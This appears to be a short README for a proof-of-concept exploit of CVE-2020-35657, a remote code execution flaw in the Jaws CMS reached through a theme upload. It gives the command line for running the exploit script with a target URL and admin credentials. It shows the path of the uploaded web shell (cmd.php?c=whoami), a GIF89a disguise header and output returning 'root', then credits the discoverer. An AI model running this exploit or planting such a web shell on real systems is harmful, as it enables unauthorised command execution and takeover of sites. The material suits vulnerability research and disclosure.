jaws-rce-via-theme CVE-2020-35657

python jaws-rce2.py

[+]Usage python jaws-rce2.py http://victim.com/ admin admin

python jaws-rce2.py http://192.168.1.98/jaws-master/jaws-master/ jawsadmin admin

Shell Location=== http://192.168.1.98/jaws-master/jaws-master/data/themes/cmd.php?c=whoami

GIF89a

root

Discoverer

Bassam Assiri https://twitter.com/BassamAssiri https://www.linkedin.com/in/bassam-assiri-9418401ab/

Special Thanks to:

Abdallah Fouad https://twitter.com/AbdallafouadX https://www.linkedin.com/in/abdallah-fouad/